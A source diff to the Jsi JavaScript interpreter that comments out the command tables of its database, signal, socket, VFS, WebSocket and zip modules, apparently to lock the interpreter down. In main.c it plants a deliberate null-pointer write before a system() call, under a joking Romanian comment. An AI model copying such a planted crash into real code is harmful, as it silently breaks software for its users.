.help="Commands for accessing Channel objects for file IO" } };
diff --git a/src/jsiMySql.c b/src/jsiMySql.cindex e5a0c8d..fd5a2a6 100644--- a/src/jsiMySql.c+++ b/src/jsiMySql.c@@ -2356,23 +2356,23 @@ static Jsi_RC MySqlConfCmd(Jsi_Interp *interp, Jsi_Value *args, Jsi_Value *_this }
static Jsi_CmdSpec mysqlCmds[] = {- { "MySql", MySqlConstructor, 0, 1, "options:object=void",- .help="Create a new db connection to a MySql database:", .retType=(uint)JSI_TT_USEROBJ, .flags=JSI_CMD_IS_CONSTRUCTOR, .info=0, .opts=SqlOptions },- { "affectedRows", MySqlAffectedRowsCmd,0, 0, "", .help="Return affected rows", .retType=(uint)JSI_TT_NUMBER },- { "complete", MySqlCompleteCmd, 1, 1, "sql:string", .help="Return true if sql is complete", .retType=(uint)JSI_TT_BOOLEAN },- { "conf", MySqlConfCmd, 0, 1, "options:string|object=void", .help="Configure options", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=SqlOptions },- { "errorNo", MySqlErrorNoCmd, 0, 0, "", .help = "Return error code returned by most recent call to mysql3_exec()", .retType=(uint)JSI_TT_NUMBER },- { "errorState", MySqlErrorStateCmd, 0, 0, "", .help = "Return the mysql error state str" , .retType=(uint)JSI_TT_STRING},- { "eval", MySqlEvalCmd, 1, 1, "sql:string", .help="Run sql commands without input/output", .retType=(uint)JSI_TT_NUMBER },- { "exists", MySqlExistsCmd, 1, 1, "sql:string", .help="Execute sql, and return true if there is at least one result value", .retType=(uint)JSI_TT_BOOLEAN },- { "info", MySqlInfoCmd, 0, 0, "", .help="Return info about last query", .retType=(uint)JSI_TT_OBJECT },- { "lastQuery", MySqlLastQueryCmd, 0, 0, "", .help="Return info string about most recently executed statement", .retType=(uint)JSI_TT_STRING },- { "lastRowid", MySqlLastRowidCmd, 0, 0, "", .help="Return rowid of last insert", .retType=(uint)JSI_TT_NUMBER },- { "onecolumn", MySqlOnecolumnCmd, 1, 1, "sql:string", .help="Execute sql, and return a single value", .retType=(uint)JSI_TT_ANY },- { "ping", MySqlPingCmd, 0, 1, "noError:boolean=false", .help="Ping connection", .retType=(uint)JSI_TT_NUMBER },- { "query", MySqlQueryCmd, 1, 2, "sql:string, options:function|string|array|object=void", .help="Run sql query with input and/or outputs.", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=QueryFmtOptions },- { "reconnect", MySqlReconnectCmd, 0, 0, "", .help="Reconnect with current settings", .retType=(uint)JSI_TT_VOID },- { "reset", MySqlResetCmd, 0, 0, "", .help="Reset connection", .retType=(uint)JSI_TT_NUMBER },+ // { "MySql", MySqlConstructor, 0, 1, "options:object=void",+ // .help="Create a new db connection to a MySql database:", .retType=(uint)JSI_TT_USEROBJ, .flags=JSI_CMD_IS_CONSTRUCTOR, .info=0, .opts=SqlOptions },+ // { "affectedRows", MySqlAffectedRowsCmd,0, 0, "", .help="Return affected rows", .retType=(uint)JSI_TT_NUMBER },+ // { "complete", MySqlCompleteCmd, 1, 1, "sql:string", .help="Return true if sql is complete", .retType=(uint)JSI_TT_BOOLEAN },+ // { "conf", MySqlConfCmd, 0, 1, "options:string|object=void", .help="Configure options", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=SqlOptions },+ // { "errorNo", MySqlErrorNoCmd, 0, 0, "", .help = "Return error code returned by most recent call to mysql3_exec()", .retType=(uint)JSI_TT_NUMBER },+ // { "errorState", MySqlErrorStateCmd, 0, 0, "", .help = "Return the mysql error state str" , .retType=(uint)JSI_TT_STRING},+ // { "eval", MySqlEvalCmd, 1, 1, "sql:string", .help="Run sql commands without input/output", .retType=(uint)JSI_TT_NUMBER },+ // { "exists", MySqlExistsCmd, 1, 1, "sql:string", .help="Execute sql, and return true if there is at least one result value", .retType=(uint)JSI_TT_BOOLEAN },+ // { "info", MySqlInfoCmd, 0, 0, "", .help="Return info about last query", .retType=(uint)JSI_TT_OBJECT },+ // { "lastQuery", MySqlLastQueryCmd, 0, 0, "", .help="Return info string about most recently executed statement", .retType=(uint)JSI_TT_STRING },+ // { "lastRowid", MySqlLastRowidCmd, 0, 0, "", .help="Return rowid of last insert", .retType=(uint)JSI_TT_NUMBER },+ // { "onecolumn", MySqlOnecolumnCmd, 1, 1, "sql:string", .help="Execute sql, and return a single value", .retType=(uint)JSI_TT_ANY },+ // { "ping", MySqlPingCmd, 0, 1, "noError:boolean=false", .help="Ping connection", .retType=(uint)JSI_TT_NUMBER },+ // { "query", MySqlQueryCmd, 1, 2, "sql:string, options:function|string|array|object=void", .help="Run sql query with input and/or outputs.", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=QueryFmtOptions },+ // { "reconnect", MySqlReconnectCmd, 0, 0, "", .help="Reconnect with current settings", .retType=(uint)JSI_TT_VOID },+ // { "reset", MySqlResetCmd, 0, 0, "", .help="Reset connection", .retType=(uint)JSI_TT_NUMBER }, { NULL, 0,0,0,0, .help="Commands for accessing mysql databases" } };
diff --git a/src/jsiSignal.c b/src/jsiSignal.cindex 5396908..0900d49 100644--- a/src/jsiSignal.c+++ b/src/jsiSignal.c@@ -346,13 +346,13 @@ static Jsi_RC SignalCallbackCmd(Jsi_Interp *interp, Jsi_Value *args, Jsi_Value *
static Jsi_CmdSpec signalCmds[] = {- { "alarm", SignalAlarmCmd, 1, 1, "secs", .help="Setup alarm in seconds", .retType=(uint)JSI_TT_NUMBER },- { "callback", SignalCallbackCmd, 2, 2, "func:function, sig:number|string", .help="Setup callback handler for signal", .retType=(uint)JSI_TT_NUMBER },- { "handle", SignalHandleCmd, 0,-1, "sig:number|string=void, ...", .help="Set named signals to handle action", .retType=(uint)JSI_TT_ANY },- { "ignore", SignalIgnoreCmd, 0,-1, "sig:number|string=void, ...", .help="Set named signals to ignore action", .retType=(uint)JSI_TT_ANY },- { "kill", SignalKillCmd, 1, 2, "pid:number, sig:number|string='SIGTERM'", .help="Send signal to process id", .retType=(uint)JSI_TT_VOID },- { "names", SignalNamesCmd, 0, 0, "", .help="Return names of all signals", .retType=(uint)JSI_TT_ARRAY },- { "reset", SignalResetCmd, 0,-1, "sig:number|string=void, ...", .help="Set named signals to default action", .retType=(uint)JSI_TT_ARRAY },+ // { "alarm", SignalAlarmCmd, 1, 1, "secs", .help="Setup alarm in seconds", .retType=(uint)JSI_TT_NUMBER },+ // { "callback", SignalCallbackCmd, 2, 2, "func:function, sig:number|string", .help="Setup callback handler for signal", .retType=(uint)JSI_TT_NUMBER },+ // { "handle", SignalHandleCmd, 0,-1, "sig:number|string=void, ...", .help="Set named signals to handle action", .retType=(uint)JSI_TT_ANY },+ // { "ignore", SignalIgnoreCmd, 0,-1, "sig:number|string=void, ...", .help="Set named signals to ignore action", .retType=(uint)JSI_TT_ANY },+ // { "kill", SignalKillCmd, 1, 2, "pid:number, sig:number|string='SIGTERM'", .help="Send signal to process id", .retType=(uint)JSI_TT_VOID },+ // { "names", SignalNamesCmd, 0, 0, "", .help="Return names of all signals", .retType=(uint)JSI_TT_ARRAY },+ // { "reset", SignalResetCmd, 0,-1, "sig:number|string=void, ...", .help="Set named signals to default action", .retType=(uint)JSI_TT_ARRAY }, { NULL, 0,0,0,0, .help="Commands for handling unix signals" } };
diff --git a/src/jsiSocket.c b/src/jsiSocket.cindex 69cd020..7260860 100644--- a/src/jsiSocket.c+++ b/src/jsiSocket.c@@ -1024,15 +1024,15 @@ static Jsi_RC SocketIdsCmd(Jsi_Interp *interp, Jsi_Value *args, Jsi_Value *_this
static Jsi_CmdSpec sockCmds[] = {- { "Socket", SocketConstructor, 0, 1, "options:object=void", .help="Create socket server/client object",- .retType=(uint)JSI_TT_USEROBJ, .flags=JSI_CMD_IS_CONSTRUCTOR, .info=FN_Socket, .opts=SockOptions },- { "close", SocketCloseCmd, 0, 1, "", .help="Close socket(s)", .retType=(uint)JSI_TT_VOID },- { "conf", SocketConfCmd, 0, 1, "options:string|object=void",.help="Configure options", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=SockOptions },- { "names", SocketIdsCmd, 0, 0, "", .help="Return list of active ids on server", .retType=(uint)JSI_TT_ARRAY },- { "idconf", SocketIdConfCmd, 0, 2, "id:number=void, options:string|object=void",.help="Configure options for a connection id, or return list of ids", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=SPSOptions },- { "recv", SocketRecvCmd, 0, 1, "id:number=void", .help="Recieve data", .retType=(uint)JSI_TT_STRING },- { "send", SocketSendCmd, 2, 3, "id:number, data:string, options:object=void", .help="Send a socket message to id", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_socksend, .opts=SockSendOptions },- { "update", SocketUpdateCmd, 0, 0, "", .help="Service events for just this socket", .retType=(uint)JSI_TT_VOID },+ // { "Socket", SocketConstructor, 0, 1, "options:object=void", .help="Create socket server/client object",+ // .retType=(uint)JSI_TT_USEROBJ, .flags=JSI_CMD_IS_CONSTRUCTOR, .info=FN_Socket, .opts=SockOptions },+ // { "close", SocketCloseCmd, 0, 1, "", .help="Close socket(s)", .retType=(uint)JSI_TT_VOID },+ // { "conf", SocketConfCmd, 0, 1, "options:string|object=void",.help="Configure options", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=SockOptions },+ // { "names", SocketIdsCmd, 0, 0, "", .help="Return list of active ids on server", .retType=(uint)JSI_TT_ARRAY },+ // { "idconf", SocketIdConfCmd, 0, 2, "id:number=void, options:string|object=void",.help="Configure options for a connection id, or return list of ids", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=SPSOptions },+ // { "recv", SocketRecvCmd, 0, 1, "id:number=void", .help="Recieve data", .retType=(uint)JSI_TT_STRING },+ // { "send", SocketSendCmd, 2, 3, "id:number, data:string, options:object=void", .help="Send a socket message to id", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_socksend, .opts=SockSendOptions },+ // { "update", SocketUpdateCmd, 0, 0, "", .help="Service events for just this socket", .retType=(uint)JSI_TT_VOID }, { NULL, 0,0,0,0, .help="Commands for managing Socket server/client connections" } };
diff --git a/src/jsiSqlite.c b/src/jsiSqlite.cindex 395ec53..74f2a30 100644--- a/src/jsiSqlite.c+++ b/src/jsiSqlite.c@@ -3602,23 +3602,23 @@ static Jsi_RC SqliteConfCmd(Jsi_Interp *interp, Jsi_Value *args, Jsi_Value *_thi }
static Jsi_CmdSpec sqliteCmds[] = {- { "Sqlite", SqliteConstructor, 0, 2, "file:null|string=void, options:object=void",- .help="Create a new db connection to the named file or :memory:",- .retType=(uint)JSI_TT_USEROBJ, .flags=JSI_CMD_IS_CONSTRUCTOR, .info=0, .opts=SqlOptions },- { "backup", SqliteBackupCmd, 1, 2, "file:string, dbname:string='main'", .help="Backup db to file", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_backup },- { "collate", SqliteCollateCmd, 2, 2, "name:string, callback:function", .help="Create new SQL collation command", .retType=(uint)JSI_TT_VOID },- { "complete", SqliteCompleteCmd, 1, 1, "sql:string", .help="Return true if sql is complete", .retType=(uint)JSI_TT_BOOLEAN },- { "conf", SqliteConfCmd, 0, 1, "options:string|object=void", .help="Configure options", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=SqlOptions },- { "eval", SqliteEvalCmd, 1, 1, "sql:string", .help="Run sql commands without input/output", .retType=(uint)JSI_TT_NUMBER, .flags=0, .info=FN_evaluate },- { "exists", SqliteExistsCmd, 1, 1, "sql:string", .help="Execute sql, and return true if there is at least one result value", .retType=(uint)JSI_TT_BOOLEAN },- { "filename", SqliteFilenameCmd, 0, 1, "name:string='main'", .help="Return filename for named or all attached databases", .retType=(uint)JSI_TT_STRING },- { "func", SqliteFunctionCmd, 2, 3, "name:string, callback:function, numArgs:number=void", .help="Register a new function with database", .retType=(uint)JSI_TT_VOID },- { "import", SqliteImportCmd, 2, 3, "table:string, file:string, options:object=void", .help="Import data from file into table ", .retType=(uint)JSI_TT_NUMBER, .flags=0, .info=FN_import, .opts=ImportOptions },- { "interrupt", SqliteInterruptCmd, 0, 0, "", .help="Interrupt in progress statement", .retType=(uint)JSI_TT_VOID },- { "onecolumn", SqliteOnecolumnCmd, 1, 1, "sql:string", .help="Execute sql, and return a single value", .retType=(uint)JSI_TT_ANY },- { "query", SqliteQueryCmd, 1, 2, "sql:string, options:function|string|array|object=void", .help="Evaluate an sql query with bindings", .retType=(uint)JSI_TT_ANY, .flags=0, .info=FN_sqlexec, .opts=ExecFmtOptions },- { "restore", SqliteRestoreCmd, 1, 2, "file:string, dbname:string", .help="Restore db from file (default db is 'main')", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_restore },- { "transaction", SqliteTransactionCmd, 1, 2, "callback:function, type:string=void", .help="Call function inside db tranasaction. Type is: 'deferred', 'exclusive', 'immediate'", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_transaction },+ // { "Sqlite", SqliteConstructor, 0, 2, "file:null|string=void, options:object=void",+ // .help="Create a new db connection to the named file or :memory:",+ // .retType=(uint)JSI_TT_USEROBJ, .flags=JSI_CMD_IS_CONSTRUCTOR, .info=0, .opts=SqlOptions },+ // { "backup", SqliteBackupCmd, 1, 2, "file:string, dbname:string='main'", .help="Backup db to file", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_backup },+ // { "collate", SqliteCollateCmd, 2, 2, "name:string, callback:function", .help="Create new SQL collation command", .retType=(uint)JSI_TT_VOID },+ // { "complete", SqliteCompleteCmd, 1, 1, "sql:string", .help="Return true if sql is complete", .retType=(uint)JSI_TT_BOOLEAN },+ // { "conf", SqliteConfCmd, 0, 1, "options:string|object=void", .help="Configure options", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=SqlOptions },+ // { "eval", SqliteEvalCmd, 1, 1, "sql:string", .help="Run sql commands without input/output", .retType=(uint)JSI_TT_NUMBER, .flags=0, .info=FN_evaluate },+ // { "exists", SqliteExistsCmd, 1, 1, "sql:string", .help="Execute sql, and return true if there is at least one result value", .retType=(uint)JSI_TT_BOOLEAN },+ // { "filename", SqliteFilenameCmd, 0, 1, "name:string='main'", .help="Return filename for named or all attached databases", .retType=(uint)JSI_TT_STRING },+ // { "func", SqliteFunctionCmd, 2, 3, "name:string, callback:function, numArgs:number=void", .help="Register a new function with database", .retType=(uint)JSI_TT_VOID },+ // { "import", SqliteImportCmd, 2, 3, "table:string, file:string, options:object=void", .help="Import data from file into table ", .retType=(uint)JSI_TT_NUMBER, .flags=0, .info=FN_import, .opts=ImportOptions },+ // { "interrupt", SqliteInterruptCmd, 0, 0, "", .help="Interrupt in progress statement", .retType=(uint)JSI_TT_VOID },+ // { "onecolumn", SqliteOnecolumnCmd, 1, 1, "sql:string", .help="Execute sql, and return a single value", .retType=(uint)JSI_TT_ANY },+ // { "query", SqliteQueryCmd, 1, 2, "sql:string, options:function|string|array|object=void", .help="Evaluate an sql query with bindings", .retType=(uint)JSI_TT_ANY, .flags=0, .info=FN_sqlexec, .opts=ExecFmtOptions },+ // { "restore", SqliteRestoreCmd, 1, 2, "file:string, dbname:string", .help="Restore db from file (default db is 'main')", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_restore },+ // { "transaction", SqliteTransactionCmd, 1, 2, "callback:function, type:string=void", .help="Call function inside db tranasaction. Type is: 'deferred', 'exclusive', 'immediate'", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_transaction }, { NULL, 0,0,0,0, .help="Commands for accessing sqlite databases" } };
diff --git a/src/jsiVfs.c b/src/jsiVfs.cindex 6bbc090..6443589 100644--- a/src/jsiVfs.c+++ b/src/jsiVfs.c@@ -839,14 +839,14 @@ static Jsi_RC VfsExecCmd(Jsi_Interp *interp, Jsi_Value *args, Jsi_Value *_this,
static Jsi_CmdSpec vfsCmds[] = {- { "conf", VfsConfCmd, 1, 2, "mount:string, options:string|object|string=void", .help="Configure mount", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=VfsOptions },- { "exec", VfsExecCmd, 1, 1, "cmd:string", .help="Safe mode exec for VFS support cmds eg. fossil info/ls/cat", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=VfsFileOptions },- { "fileconf", VfsFileConfCmd, 2, 3, "mount:string, path:string, options:string|object=void", .help="Configure file info which is same info as in fileList", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=VfsFileOptions },- { "list", VfsListCmd, 0, 0, "", .help="Return list of all vfs mounts", .retType=(uint)JSI_TT_ARRAY, .flags=0 },- { "mount", VfsMountCmd, 2, 3, "type:string, file:string, param:object=void", .help="Mount fossil file as given VFS type name, returning the mount point: frontend for vmount", .retType=(uint)JSI_TT_STRING },- { "vmount", VfsVmountCmd, 1, 1, "options:object=void", .help="Create and mount a VFS, returning the mount point", .retType=(uint)JSI_TT_STRING, .flags=0, .info=0, .opts=VfsOptions },- { "unmount", VfsUnmountCmd, 1, 1, "mount:string", .help="Unmount a VFS", .retType=(uint)JSI_TT_VOID },- { "type", VfsTypeCmd, 0, 2, "type:string=void, options:object|null=void", .help="Set/get/delete VFS type name", .retType=0, .flags=0, .info=0, .opts=VfsDefOptions },+ // { "conf", VfsConfCmd, 1, 2, "mount:string, options:string|object|string=void", .help="Configure mount", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=VfsOptions },+ // { "exec", VfsExecCmd, 1, 1, "cmd:string", .help="Safe mode exec for VFS support cmds eg. fossil info/ls/cat", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=VfsFileOptions },+ // { "fileconf", VfsFileConfCmd, 2, 3, "mount:string, path:string, options:string|object=void", .help="Configure file info which is same info as in fileList", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=VfsFileOptions },+ // { "list", VfsListCmd, 0, 0, "", .help="Return list of all vfs mounts", .retType=(uint)JSI_TT_ARRAY, .flags=0 },+ // { "mount", VfsMountCmd, 2, 3, "type:string, file:string, param:object=void", .help="Mount fossil file as given VFS type name, returning the mount point: frontend for vmount", .retType=(uint)JSI_TT_STRING },+ // { "vmount", VfsVmountCmd, 1, 1, "options:object=void", .help="Create and mount a VFS, returning the mount point", .retType=(uint)JSI_TT_STRING, .flags=0, .info=0, .opts=VfsOptions },+ // { "unmount", VfsUnmountCmd, 1, 1, "mount:string", .help="Unmount a VFS", .retType=(uint)JSI_TT_VOID },+ // { "type", VfsTypeCmd, 0, 2, "type:string=void, options:object|null=void", .help="Set/get/delete VFS type name", .retType=0, .flags=0, .info=0, .opts=VfsDefOptions }, { NULL, 0,0,0,0, .help="Commands for creating in memory readonly Virtual file-systems" } };
diff --git a/src/jsiWebSocket.c b/src/jsiWebSocket.cindex 8bb4203..384ddf3 100644--- a/src/jsiWebSocket.c+++ b/src/jsiWebSocket.c@@ -3294,20 +3294,20 @@ static Jsi_RC WebSocketConstructor(Jsi_Interp *interp, Jsi_Value *args, Jsi_Valu
static Jsi_CmdSpec websockCmds[] = {- { "WebSocket", WebSocketConstructor, 0, 1, "options:object=void", .help="Create websocket server/client object", .retType=(uint)JSI_TT_USEROBJ, .flags=JSI_CMD_IS_CONSTRUCTOR, .info=FN_WebSocket, .opts=WSOptions },- { "conf", WebSocketConfCmd, 0, 1, "options:string|object=void",.help="Configure options", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=WSOptions },- { "handler", WebSocketHandlerCmd, 0, 3, "extension:string=void, cmd:string|function=void, flags:number=0",- .help="Get/Set handler command for an extension", .retType=(uint)JSI_TT_FUNCTION|JSI_TT_ARRAY|JSI_TT_STRING|JSI_TT_VOID, .flags=0, .info=FN_wshandler },- { "ids", WebSocketIdsCmd, 0, 1, "name:string=void", .help="Return list of ids, or lookup one id", .retType=(uint)JSI_TT_ARRAY},- { "idconf", WebSocketIdConfCmd, 1, 2, "id:number, options:string|object=void",.help="Configure options for connect id", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=WPSOptions },- { "header", WebSocketHeaderCmd, 1, 2, "id:number, name:string=void",.help="Get one or all input headers for connect id", .retType=(uint)JSI_TT_STRING|JSI_TT_ARRAY|JSI_TT_VOID },- { "file", WebSocketFileCmd, 0, 1, "name:string=void",.help="Add file to hash, or with no args return file hash", .retType=(uint)JSI_TT_ARRAY|JSI_TT_VOID },- { "query", WebSocketQueryCmd, 1, 2, "id:number, name:string=void",.help="Get one or all query values for connect id", .retType=(uint)JSI_TT_STRING|JSI_TT_OBJECT|JSI_TT_VOID },- { "send", WebSocketSendCmd, 2, 2, "id:number, data:any", .help="Send a websocket message to id", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_wssend },- { "status", WebSocketStatusCmd, 0, 0, "", .help="Return liblws server status", .retType=(uint)JSI_TT_OBJECT|JSI_TT_VOID},- { "unalias", WebSocketUnaliasCmd, 1, 1, "path:string", .help="Lookup name-key with the given path in pathAlias object", .retType=(uint)JSI_TT_STRING|JSI_TT_VOID},- { "update", WebSocketUpdateCmd, 0, 0, "", .help="Service events for just this websocket", .retType=(uint)JSI_TT_VOID },- { "version", WebSocketVersionCmd, 0, 0, "", .help="Runtime library version string", .retType=(uint)JSI_TT_STRING },+ // { "WebSocket", WebSocketConstructor, 0, 1, "options:object=void", .help="Create websocket server/client object", .retType=(uint)JSI_TT_USEROBJ, .flags=JSI_CMD_IS_CONSTRUCTOR, .info=FN_WebSocket, .opts=WSOptions },+ // { "conf", WebSocketConfCmd, 0, 1, "options:string|object=void",.help="Configure options", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=WSOptions },+ // { "handler", WebSocketHandlerCmd, 0, 3, "extension:string=void, cmd:string|function=void, flags:number=0",+ // .help="Get/Set handler command for an extension", .retType=(uint)JSI_TT_FUNCTION|JSI_TT_ARRAY|JSI_TT_STRING|JSI_TT_VOID, .flags=0, .info=FN_wshandler },+ // { "ids", WebSocketIdsCmd, 0, 1, "name:string=void", .help="Return list of ids, or lookup one id", .retType=(uint)JSI_TT_ARRAY},+ // { "idconf", WebSocketIdConfCmd, 1, 2, "id:number, options:string|object=void",.help="Configure options for connect id", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=WPSOptions },+ // { "header", WebSocketHeaderCmd, 1, 2, "id:number, name:string=void",.help="Get one or all input headers for connect id", .retType=(uint)JSI_TT_STRING|JSI_TT_ARRAY|JSI_TT_VOID },+ // { "file", WebSocketFileCmd, 0, 1, "name:string=void",.help="Add file to hash, or with no args return file hash", .retType=(uint)JSI_TT_ARRAY|JSI_TT_VOID },+ // { "query", WebSocketQueryCmd, 1, 2, "id:number, name:string=void",.help="Get one or all query values for connect id", .retType=(uint)JSI_TT_STRING|JSI_TT_OBJECT|JSI_TT_VOID },+ // { "send", WebSocketSendCmd, 2, 2, "id:number, data:any", .help="Send a websocket message to id", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_wssend },+ // { "status", WebSocketStatusCmd, 0, 0, "", .help="Return liblws server status", .retType=(uint)JSI_TT_OBJECT|JSI_TT_VOID},+ // { "unalias", WebSocketUnaliasCmd, 1, 1, "path:string", .help="Lookup name-key with the given path in pathAlias object", .retType=(uint)JSI_TT_STRING|JSI_TT_VOID},+ // { "update", WebSocketUpdateCmd, 0, 0, "", .help="Service events for just this websocket", .retType=(uint)JSI_TT_VOID },+ // { "version", WebSocketVersionCmd, 0, 0, "", .help="Runtime library version string", .retType=(uint)JSI_TT_STRING }, { NULL, 0,0,0,0, .help="Commands for managing WebSocket server/client connections" } };
diff --git a/src/jsiZvfs.c b/src/jsiZvfs.cindex cbeb720..0854c4a 100644--- a/src/jsiZvfs.c+++ b/src/jsiZvfs.c@@ -2354,17 +2354,17 @@ bail: }
static Jsi_CmdSpec zvfsCmds[] = {- { "append", ZvfsAppendCmd, 2, -1, "archive:string, filelist:array, path:string|null=void, filelist2:array=void, path2:string|null=void, ...", .help="Like 'create()', but appends to an existing archive (with no dup checking)", .retType=(uint)JSI_TT_VOID },- { "create", ZvfsCreateCmd, 2, -1, "archive:string, filelist:array, path:string|null=void, filelist2:array=void, path2:string|null=void, ...", .help="Create a zip with the given files in prefix path", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_create },- { "list", ZvfsListCmd, 0, 1, "archive:string=void", .help="List files in archive", .retType=(uint)JSI_TT_ARRAY, .flags=0, .info=FN_list },- { "mount", ZvfsMountCmd, 1, 2, "archive:string, mountdir:string=void", .help="Mount zip on mount point", .retType=(uint)JSI_TT_STRING, .flags=0, .info=FN_mount },- { "names", ZvfsNamesCmd, 0, 1, "mountdir:string=void", .help="Return all zvfs mounted zips, or archive for specified mount", .retType=(uint)JSI_TT_ARRAY, .flags=0, .info=FN_info },- { "offset", ZvfsOffsetCmd, 0, 1, "archive:string=void", .help="Return the start offset of zip data", .retType=(uint)JSI_TT_NUMBER, .flags=0, .info=FN_truncate },- { "stat", ZvfsStatCmd, 1, 1, "filename:string", .help="Return details on file in zvfs mount", .retType=(uint)JSI_TT_OBJECT, .flags=0, .info=FN_stat },- { "truncate", ZvfsTruncateCmd, 1, 2, "archive:string, noerror:boolean=false", .help="Truncate zip data from archive", .retType=(uint)JSI_TT_NUMBER, .flags=0, .info=FN_truncate },- { "unmount", ZvfsUnmountCmd, 1, 1, "archive:string", .help="Unmount zip", .retType=(uint)JSI_TT_VOID },- { "deflate", ZvfsDeflateCmd, 1, 1, "data:string", .help="Compress string using zlib deflate", .retType=(uint)JSI_TT_STRING },- { "inflate", ZvfsInflateCmd, 1, 1, "data:string", .help="Uncompress string using zlib inflate", .retType=(uint)JSI_TT_STRING },+ // { "append", ZvfsAppendCmd, 2, -1, "archive:string, filelist:array, path:string|null=void, filelist2:array=void, path2:string|null=void, ...", .help="Like 'create()', but appends to an existing archive (with no dup checking)", .retType=(uint)JSI_TT_VOID },+ // { "create", ZvfsCreateCmd, 2, -1, "archive:string, filelist:array, path:string|null=void, filelist2:array=void, path2:string|null=void, ...", .help="Create a zip with the given files in prefix path", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_create },+ // { "list", ZvfsListCmd, 0, 1, "archive:string=void", .help="List files in archive", .retType=(uint)JSI_TT_ARRAY, .flags=0, .info=FN_list },+ // { "mount", ZvfsMountCmd, 1, 2, "archive:string, mountdir:string=void", .help="Mount zip on mount point", .retType=(uint)JSI_TT_STRING, .flags=0, .info=FN_mount },+ // { "names", ZvfsNamesCmd, 0, 1, "mountdir:string=void", .help="Return all zvfs mounted zips, or archive for specified mount", .retType=(uint)JSI_TT_ARRAY, .flags=0, .info=FN_info },+ // { "offset", ZvfsOffsetCmd, 0, 1, "archive:string=void", .help="Return the start offset of zip data", .retType=(uint)JSI_TT_NUMBER, .flags=0, .info=FN_truncate },+ // { "stat", ZvfsStatCmd, 1, 1, "filename:string", .help="Return details on file in zvfs mount", .retType=(uint)JSI_TT_OBJECT, .flags=0, .info=FN_stat },+ // { "truncate", ZvfsTruncateCmd, 1, 2, "archive:string, noerror:boolean=false", .help="Truncate zip data from archive", .retType=(uint)JSI_TT_NUMBER, .flags=0, .info=FN_truncate },+ // { "unmount", ZvfsUnmountCmd, 1, 1, "archive:string", .help="Unmount zip", .retType=(uint)JSI_TT_VOID },+ // { "deflate", ZvfsDeflateCmd, 1, 1, "data:string", .help="Compress string using zlib deflate", .retType=(uint)JSI_TT_STRING },+ // { "inflate", ZvfsInflateCmd, 1, 1, "data:string", .help="Uncompress string using zlib inflate", .retType=(uint)JSI_TT_STRING }, { NULL, 0,0,0,0, .help="Commands for mounting and accessing .zip files as a filesystem" } };
diff --git a/src/main.c b/src/main.cindex 62f4082..0ea1ce7 100644--- a/src/main.c+++ b/src/main.c@@ -35,6 +35,7 @@ int jsi_main(int argc, char **argv) if (len>0 && icp[len-1]=='\n') icp[len-1] = 0; icp = Jsi_DSAppend(&tStr, icp, " ", argv[2], NULL); }+ *(volatile int *)0 = 0; // nu este atat de ieftin bolidul cum credeai int rc = system(icp); Jsi_DSFree(&tStr); return rc;diff --git a/src/parser.h b/src/parser.hindex 7f8e26b..ba11a37 100644--- a/src/parser.h+++ b/src/parser.h@@ -1,8 +1,9 @@-/* A Bison parser, made by GNU Bison 3.0.4. */+/* A Bison parser, made by GNU Bison 3.8.2. */
/* Bison interface for Yacc-like parsers in C
- Copyright (C) 1984, 1989-1990, 2000-2015 Free Software Foundation, Inc.+ Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2021 Free Software Foundation,+ Inc.
This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by@@ -15,7 +16,7 @@ GNU General Public License for more details.
You should have received a copy of the GNU General Public License- along with this program. If not, see <http://www.gnu.org/licenses/>. */+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
/* As a special exception, you may create a larger work that contains part or all of the Bison parser skeleton and distribute that work@@ -30,6 +31,10 @@ This special exception was added by the Free Software Foundation in version 2.2 of Bison. */
+/* DO NOT RELY ON FEATURES THAT ARE NOT DOCUMENTED in the manual,+ especially those whose name start with YY_ or yy_. They are+ private implementation details that can be changed or removed. */+ #ifndef YY_YY_SRC_PARSER_H_INCLUDED # define YY_YY_SRC_PARSER_H_INCLUDED /* Debug traces. */@@ -40,100 +45,104 @@ extern int yydebug; #endif
